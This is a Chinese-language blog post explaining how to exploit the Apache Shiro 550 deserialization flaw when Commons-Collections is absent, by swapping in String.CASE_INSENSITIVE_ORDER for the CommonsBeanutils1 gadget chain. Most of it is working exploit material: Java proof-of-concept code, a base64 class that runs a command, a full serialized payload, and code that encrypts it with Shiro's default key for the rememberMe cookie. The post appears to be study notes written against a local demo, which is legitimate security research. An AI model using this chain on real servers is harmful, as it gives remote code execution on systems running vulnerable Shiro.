【java安全】无Commons-Collections的Shiro550反序列化利用

本文最后更新于:2023年9月9日 晚上

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【java安全】无Commons-Collections的Shiro550反序列化利用

Shiro550利用的难点

前面我们学习Shiro反序列化漏洞时,使用了一个简单的shiroDemo,在这个Demo中引入了一些依赖:

  • shiro-core、shiro-web,这是shiro本身的依赖
  • javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
  • slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  • commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
  • commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

前4个都与项目本身有关,如果缺少会导致项目出错。但是第5个只是为了演示漏洞,但是实际情况可能m目标没有安装Commons-Collections依赖,这个时候Shiro550反序列化还能用吗?

我们将演示项目中的Commons-Collections给删除掉,然后刷新maven:

image-20230802202254507

我们发现项目的依赖中有:commons-beanutils ,这说明Shiro是依赖于commons-beanutils

的,那么之前的CommonsBeanutils1能用吗?

CommonsBeanutils1是否可以Shiro中?

启动之前的demo项目,CommonsBeanutils1如下:

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public class CommonsBeanUtils1 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));


}
}

将字符串通过key加密:

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public class Cipher {
public static void main(String[] args) {
String s = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHABoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABAACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEgAEABMADQAUAAsAAAAEAAEAEAABABEAAAACABJwdAASSGVsbG9UZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg=";
byte[] bytes = Base64.getDecoder().decode(s.getBytes());

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(bytes, key);
System.out.printf(ciphertext.toString());
}
}

点击rememberMe时发送过去,修改rememberMe

发送一个payload,但没有成功:

image-20230802212742058

控制台提示了serialVersionUID

什么是serialVersionUID?W

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患

所以这里出错的原因就是本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的 commons-beanutils是1.8.3版本,出现了serialVersionUID对应不上的问题

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。 更换版本后,再次生成Payload进行测试,此时Tomcat端爆出了另一个异常,仍然没有触发代码执行:

image-20230802213110532

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
难道没有commons-collections就无法进行反序列化利用吗?当然有。

无依赖的Shiro反序列化利用链

我们先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在 哪里使用了:

image-20230802213328917

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。 既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

我们可以找到一个CaseInsensitiveComparator:

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public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();

private static class CaseInsensitiveComparator implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;

public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}

/**
* Replaces the de-serialized object.
*/
private Object readResolve() {
return CASE_INSENSITIVE_ORDER;
}
}

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。 我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对 象,用它来实例化 BeanComparator :

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final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC

最终的CommonsBeanutils1Shiro利用链:

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package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}


【java安全】无Commons-Collections的Shiro550反序列化利用
https://leekosss.github.io/2023/08/24/[java安全]无Commons-Collections的Shiro550反序列化利用/
作者
leekos
发布于
2023年8月24日
更新于
2023年9月9日
许可协议